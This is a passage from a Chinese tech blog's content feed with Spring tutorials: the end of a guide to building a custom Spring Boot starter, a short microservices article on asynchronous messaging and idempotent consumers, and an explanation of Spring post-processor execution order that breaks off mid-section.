class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="完整项目结构"><a href="#完整项目结构" class="headerlink" title="完整项目结构"></a>完整项目结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">my-service-spring-boot-starter/</span><br><span class="line">├── pom.xml</span><br><span class="line">└── src/</span><br><span class="line">    └── main/</span><br><span class="line">        ├── java/</span><br><span class="line">        │   └── com/example/</span><br><span class="line">        │       ├── MyService.java</span><br><span class="line">        │       ├── MyServiceProperties.java</span><br><span class="line">        │       ├── MyHealthIndicator.java</span><br><span class="line">        │       └── autoconfigure/</span><br><span class="line">        │           └── MyServiceAutoConfiguration.java</span><br><span class="line">        └── resources/</span><br><span class="line">            └── META-INF/</span><br><span class="line">                ├── spring.factories</span><br><span class="line">                └── additional-spring-configuration-metadata.json</span><br></pre></td></tr></table></figure><h2 id="使用-Starter"><a href="#使用-Starter" class="headerlink" title="使用 Starter"></a>使用 Starter</h2><p>#</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>my-service-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">my:</span></span><br><span class="line">  <span class="attr">service:</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">myApp</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="number">10000</span></span><br><span class="line">    <span class="attr">retry:</span> <span class="number">5</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="注入使用"><a href="#注入使用" class="headerlink" title="注入使用"></a>注入使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BusinessService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MyService myService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doSomething</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> myService.sayHello(<span class="string">&quot;World&quot;</span>);</span><br><span class="line">        System.out.println(result);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="高级特性"><a href="#高级特性" class="headerlink" title="高级特性"></a>高级特性</h2><p>#</p><h2 id="条件装配"><a href="#条件装配" class="headerlink" title="条件装配"></a>条件装配</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyServiceAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 当 classpath 存在 Redis 时</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnClass(RedisTemplate.class)</span></span><br><span class="line">    <span class="keyword">public</span> MyCacheService <span class="title function_">redisCacheService</span><span class="params">(RedisTemplate&lt;String, String&gt; redisTemplate)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">RedisCacheService</span>(redisTemplate);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 当不存在 Redis 时使用本地缓存</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@ConditionalOnMissingClass(&quot;org.springframework.data.redis.core.RedisTemplate&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> MyCacheService <span class="title function_">localCacheService</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LocalCacheService</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="多配置类"><a href="#多配置类" class="headerlink" title="多配置类"></a>多配置类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyServiceAutoConfiguration</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Configuration</span></span><br><span class="line">    <span class="meta">@ConditionalOnWebApplication</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">WebConfiguration</span> &#123;</span><br><span class="line">        <span class="meta">@Bean</span></span><br><span class="line">        <span class="keyword">public</span> MyWebInterceptor <span class="title function_">myWebInterceptor</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyWebInterceptor</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Configuration</span></span><br><span class="line">    <span class="meta">@ConditionalOnNotWebApplication</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">NonWebConfiguration</span> &#123;</span><br><span class="line">        <span class="meta">@Bean</span></span><br><span class="line">        <span class="keyword">public</span> MyCliRunner <span class="title function_">myCliRunner</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MyCliRunner</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试-Starter"><a href="#测试-Starter" class="headerlink" title="测试 Starter"></a>测试 Starter</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest(classes = TestApplication.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyServiceAutoConfigurationTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MyService myService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MyServiceProperties properties;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testServiceCreated</span><span class="params">()</span> &#123;</span><br><span class="line">        assertNotNull(myService);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testPropertiesLoaded</span><span class="params">()</span> &#123;</span><br><span class="line">        assertEquals(<span class="string">&quot;myApp&quot;</span>, properties.getName());</span><br><span class="line">        assertEquals(<span class="number">10000</span>, properties.getTimeout());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="meta">@EnableConfigurationProperties(MyServiceProperties.class)</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestApplication</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="发布到-Maven-仓库"><a href="#发布到-Maven-仓库" class="headerlink" title="发布到 Maven 仓库"></a>发布到 Maven 仓库</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">distributionManagement</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">repository</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>releases<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>&gt;</span>http://nexus.example.com/repository/maven-releases/<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">repository</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">distributionManagement</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn clean deploy</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>开发 Spring Boot Starter 的关键步骤：</p><ol><li><strong>创建项目</strong>：引入 spring-boot-autoconfigure</li><li><strong>定义属性</strong>：@ConfigurationProperties</li><li><strong>实现功能</strong>：核心服务类</li><li><strong>自动配置</strong>：@Configuration + 条件注解</li><li><strong>注册配置</strong>：META-INF/spring.factories</li><li><strong>IDE 提示</strong>：配置元数据</li></ol><p>自定义 Starter 可以将团队的公共能力沉淀为标准化组件，提高开发效率和代码复用。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring后置处理器的执行顺序</title>
      <link href="//spring-hou-zhi-chu-li-qi-de-zhi-xing-shun-xu/"/>
      <url>//spring-hou-zhi-chu-li-qi-de-zhi-xing-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring后置处理器的执行顺序"><a href="#Spring后置处理器的执行顺序" class="headerlink" title="Spring后置处理器的执行顺序"></a>Spring后置处理器的执行顺序</h1><p>Spring 提供了多种后置处理器（PostProcessor）扩展点，它们在不同阶段介入容器生命周期。理解它们的执行顺序至关重要。</p><h2 id="后置处理器分类"><a href="#后置处理器分类" class="headerlink" title="后置处理器分类"></a>后置处理器分类</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Spring 容器启动</span><br><span class="line">    |</span><br><span class="line">    ├── BeanDefinitionRegistryPostProcessor</span><br><span class="line">    │       └── 在 BeanDefinition 加载后，实例化前</span><br><span class="line">    │</span><br><span class="line">    ├── BeanFactoryPostProcessor</span><br><span class="line">    │       └── 在 BeanFactory 标准初始化后</span><br><span class="line">    │</span><br><span class="line">    └── BeanPostProcessor</span><br><span class="line">            ├── postProcessBeforeInitialization</span><br><span class="line">            │       └── 每个 Bean 初始化前</span><br><span class="line">            └── postProcessAfterInitialization</span><br><span class="line">                    └── 每个 Bean 初始化后（AOP 代理创建）</span><br></pre></td></tr></table></figure><h2 id="1-BeanDefinitionRegistryPostProcessor"><a href="#1-BeanDefinitionRegistryPostProcessor" class="headerlink" title="1. BeanDefinitionRegistryPostProcessor"></a>1. BeanDefinitionRegistryPostProcessor</h2><h3 id="作用"><a href="#作用" class="headerlink" title="作用"></a>作用</h3><p>在 BeanDefinition 加载完成后、Bean 实例化之前执行，可以动态注册 BeanDefinition。</p><h3 id="典型实现"><a href="#典型实现" class="headerlink" title="典型实现"></a>典型实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">BeanDefinitionRegistryPostProcessor</span> <span class="keyword">extends</span> <span class="title class_">BeanFactoryPostProcessor</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">postProcessBeanDefinitionRegistry</span><span class="params">(BeanDefinitionRegistry registry)</span> <span class="keyword">throws</span> BeansException;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>重要实现</strong>：</p><ul><li><code>ConfigurationClassPostProcessor</code>：处理 <code>@Configuration</code> 类</li><li><code>MapperScannerConfigurer</code>：MyBatis 扫描 Mapper</li></ul><h3 id="执行时机"><a href="#执行时机" class="headerlink" title="执行时机"></a>执行时机</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// AbstractApplicationContext.refresh()</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refresh</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 调用 BeanDefinitionRegistryPostProcessor</span></span><br><span class="line">    invokeBeanFactoryPostProcessors(beanFactory);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="自定义示例"><a href="#自定义示例" class="headerlink" title="自定义示例"></a>自定义示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomRegistryPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanDefinitionRegistryPostProcessor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postProcessBeanDefinitionRegistry</span><span class="params">(BeanDefinitionRegistry registry)</span> &#123;</span><br><span class="line">        <span class="comment">// 动态注册 Bean</span></span><br><span class="line">        <span class="type">BeanDefinition</span> <span class="variable">beanDefinition</span> <span class="operator">=</span> BeanDefinitionBuilder</span><br><span class="line">            .genericBeanDefinition(MyService.class)</span><br><span class="line">            .getBeanDefinition();</span><br><span class="line">        registry.registerBeanDefinition(<span class="string">&quot;myService&quot;</span>, beanDefinition);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postProcessBeanFactory</span><span class="params">(ConfigurableListableBeanFactory beanFactory)</span> &#123;</span><br><span class="line">        <span class="comment">// 也可以实现 BeanFactoryPostProcessor 的方法</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="2-BeanFactoryPostProcessor"><a href="#2-BeanFactoryPostProcessor" class="headerlink" title="2. BeanFactoryPostProcessor"></a>2. BeanFactoryPostProcessor</h2><h3 id="作用-1"><a href="#作用-1" class="headerlink" title="作用"></a>作用</h3><p>在 BeanFactory 标准初始化之后、所有 BeanDefinition 加载完成后执行，可以修改 BeanDefinition 的属性。</p><h3 id="典型实现-1"><a href="#典型实现-1" class="headerlink" title="典型实现"></a>典型实现</h3><ul><li><code>PropertySourcesPlaceholderConfigurer</code>：处理 <code>${...}</code> 占位符</li><li><code>ConfigurationClassPostProcessor</code>：处理 <code>@Configuration</code></li></ul><h3 id="执行顺序"><a href="#执行顺序" class="headerlink" title="执行顺序"></a>执行顺序</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. BeanDefinitionRegistryPostProcessor（按 PriorityOrdered、Ordered 排序）</span></span><br><span class="line"><span class="comment">// 2. BeanDefinitionRegistryPostProcessor（无排序）</span></span><br><span class="line"><span class="comment">// 3. BeanFactoryPostProcessor（按 PriorityOrdered、Ordered 排序）</span></span><br><span class="line"><span class="comment">// 4. BeanFactoryPostProcessor（无排序）</span></span><br></pre></td></tr></table></figure><h3 id="自定义示例-1"><a href="#自定义示例-1" class="headerlink" title="自定义示例"></a>自定义示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomBeanFactoryPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanFactoryPostProcessor</span>, Ordered &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postProcessBeanFactory</span><span class="params">(ConfigurableListableBeanFactory beanFactory)</span> &#123;</span><br><span class="line">        <span class="comment">// 修改 BeanDefinition</span></span><br><span class="line">        <span class="type">BeanDefinition</span> <span class="variable">beanDefinition</span> <span class="operator">=</span> beanFactory.getBeanDefinition(<span class="string">&quot;dataSource&quot;</span>);</span><br><span class="line">        beanDefinition.getPropertyValues().add(<span class="string">&quot;url&quot;</span>, <span class="string">&quot;jdbc:mysql://new-host:3306/db&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;  <span class="comment">// 数字越小优先级越高</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="3-BeanPostProcessor"><a href="#3-BeanPostProcessor" class="headerlink" title="3. BeanPostProcessor"></a>3. BeanPostProcessor</h2><h3 id="作用-2"><a href="#作用-2" class="headerlink" title="作用"></a>作用</h3><p>在每个 Bean 实例化之后、初始化前后执行。</p><h3 id="接口定义"><a href="#接口定义" class="headerlink" title="接口定义"></a>接口定义</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    <span class="comment">// 初始化前</span></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="keyword">default</span> Object <span class="title function_">postProcessBeforeInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 初始化后</span></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="keyword">default</span> Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="典型实现-2"><a href="#典型实现-2" class="headerlink" title="典型实现"></a>典型实现</h3><table><thead><tr><th>实现类</th><th>作用</th></tr></thead><tbody><tr><td>AutowiredAnnotationBeanPostProcessor</td><td>处理 @Autowired、@Value</td></tr><tr><td>CommonAnnotationBeanPostProcessor</td><td>处理 @PostConstruct、@PreDestroy、@Resource</td></tr><tr><td>AsyncAnnotationBeanPostProcessor</td><td>处理 @Async</td></tr><tr><td>ScheduledAnnotationBeanPostProcessor</td><td>处理 @Scheduled</td></tr><tr><td>AbstractAutoProxyCreator</td><td>创建 AOP 代理</td></tr></tbody></table><h3 id="执行顺序-1"><a href="#执行顺序-1" class="headerlink" title="执行顺序"></a>执行顺序</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. InstantiationAwareBeanPostProcessor.postProcessBeforeInstantiation</span><br><span class="line">2. 实例化 Bean（构造器）</span><br><span class="line">3. InstantiationAwareBeanPostProcessor.postProcessAfterInstantiation</span><br><span class="line">4. 属性赋值（依赖注入）</span><br><span class="line">5. BeanNameAware.setBeanName</span><br><span class="line">6. BeanFactoryAware.setBeanFactory</span><br><span class="line">7. ApplicationContextAware.setApplicationContext</span><br><span class="line">8. BeanPostProcessor.postProcessBeforeInitialization</span><br><span class="line">9. @PostConstruct</span><br><span class="line">10. InitializingBean.afterPropertiesSet</span><br><span class="line">11. init-method</span><br><span class="line">12. BeanPostProcessor.postProcessAfterInitialization（AOP 代理在此创建）</span><br></pre></td></tr></table></figure><h2 id="4-InstantiationAwareBeanPostProcessor"><a href="#4-InstantiationAwareBeanPostProcessor" class="headerlink" title="4. InstantiationAwareBeanPostProcessor"></a>4. InstantiationAwareBeanPostProcessor</h2><h3 id="作用-3"><a href="#作用-3" class="headerlink" title="作用"></a>作用</h3><p>在 Bean 实例化前后介入，可以自定义实例化逻辑。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">InstantiationAwareBeanPostProcessor</span> <span class="keyword">extends</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    <span class="comment">// 实例化前，返回非 null 则跳过默认实例化</span></span><br><span class="line">    <span class="keyword">default</span> Object <span class="title function_">postProcessBeforeInstantiation</span><span class="params">(Class&lt;?&gt; beanClass, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 实例化后、属性赋值前</span></span><br><span class="line">    <span class="keyword">default</span> <span class="type">boolean</span> <span class="title function_">postProcessAfterInstantiation</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 处理属性值</span></span><br><span class="line">    <span class="keyword">default</span> PropertyValues <span class="title function_">postProcessProperties</span><span class="params">(PropertyValues pvs, Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>典型实现</strong>：</p><ul><li><code>AutowiredAnnotationBeanPostProcessor</code>：处理 @Autowired 注入</li></ul><h2 id="完整执行顺序图"><a href="#完整执行顺序图" class="headerlink" title="完整执行顺序图"></a>完整执行顺序图</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">容器启动</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">1. 加载 BeanDefinition</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">2. BeanDefinitionRegistryPostProcessor</span><br><span class="line">    ├── ConfigurationClassPostProcessor（@Configuration）</span><br><span class="line">    ├── MapperScannerConfigurer（MyBatis）</span><br><span class="line">    └── 自定义...</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">3. BeanFactoryPostProcessor</span><br><span class="line">    ├── PropertySourcesPlaceholderConfigurer（$&#123;&#125;）</span><br><span class="line">    └── 自定义...</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">4. 注册 BeanPostProcessor</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">5. 实例化单例 Bean（逐个）</span><br><span class="line">    |</span><br><span class="line">    ├── 5.1 InstantiationAwareBeanPostProcessor</span><br><span class="line">    │       .postProcessBeforeInstantiation()</span><br><span class="line">    │</span><br><span class="line">    ├── 5.2 调用构造器实例化</span><br><span class="line">    │</span><br><span class="line">    ├── 5.3 InstantiationAwareBeanPostProcessor</span><br><span class="line">    │       .postProcessAfterInstantiation()</span><br><span class="line">    │</span><br><span class="line">    ├── 5.4 属性赋值（@Autowired 等）</span><br><span class="line">    │</span><br><span class="line">    ├── 5.5 Aware 接口回调</span><br><span class="line">    │</span><br><span class="line">    ├── 5.6 BeanPostProcessor</span><br><span class="line">    │       .postProcessBeforeInitialization()</span><br><span class="line">    │</span><br><span class="line">    ├── 5.7 初始化（@PostConstruct, afterPropertiesSet, init-method）</span><br><span class="line">    │</span><br><span class="line">    ├── 5.8 BeanPostProcessor</span><br><span class="line">    │       .postProcessAfterInitialization()</span><br><span class="line">    │       └── AbstractAutoProxyCreator 创建 AOP 代理</span><br><span class="line">    │</span><br><span class="line">    v</span><br><span class="line">6. Bean 就绪</span><br></pre></td></tr></table></figure><h2 id="自定义后置处理器的顺序控制"><a href="#自定义后置处理器的顺序控制" class="headerlink" title="自定义后置处理器的顺序控制"></a>自定义后置处理器的顺序控制</h2><h3 id="实现-Ordered-接口"><a href="#实现-Ordered-接口" class="headerlink" title="实现 Ordered 接口"></a>实现 Ordered 接口</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanPostProcessor</span>, Ordered &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Ordered.HIGHEST_PRECEDENCE;  <span class="comment">// 最高优先级</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="使用-Order-注解"><a href="#使用-Order-注解" class="headerlink" title="使用 @Order 注解"></a>使用 @Order 注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Order(1)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyPostProcessor</span> <span class="keyword">implements</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="PriorityOrdered-vs-Ordered"><a href="#PriorityOrdered-vs-Ordered" class="headerlink" title="PriorityOrdered vs Ordered"></a>PriorityOrdered vs Ordered</h3><table><thead><tr><th>接口</th><th>优先级</th></tr></thead><tbody><tr><td>PriorityOrdered</td><td>高于 Ordered</td></tr><tr><td>Ordered</td><td>普通</td></tr><tr><td>无</td><td>最低</td></tr></tbody></table><h2 id="实际应用"><a href="#实际应用" class="headerlink" title="实际应用"></a>实际应用</h2><h3 id="场景1：动态修改-Bean-属性"><a href="#场景1：动态修改-Bean-属性" class="headerlink" title="场景1：动态修改 Bean 属性"></a>场景1：动态修改 Bean 属性</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceUrlModifier</span> <span class="keyword">implements</span> <span class="title class_">BeanFactoryPostProcessor</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postProcessBeanFactory</span><span class="params">(ConfigurableListableBeanFactory beanFactory)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">env</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;env&quot;</span>, <span class="string">&quot;dev&quot;</span>);</span><br><span class="line">        <span class="type">BeanDefinition</span> <span class="variable">bd</span> <span class="operator">=</span> beanFactory.getBeanDefinition(<span class="string">&quot;dataSource&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;prod&quot;</span>.equals(env)) &#123;</span><br><span class="line">            bd.getPropertyValues().add(<span class="string">&quot;url&quot;</span>, <span class="string">&quot;jdbc:mysql://prod:3306/db&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景2：AOP-代理创建"><a href="#场景2：AOP-代理创建" class="headerlink" title="场景2：AOP 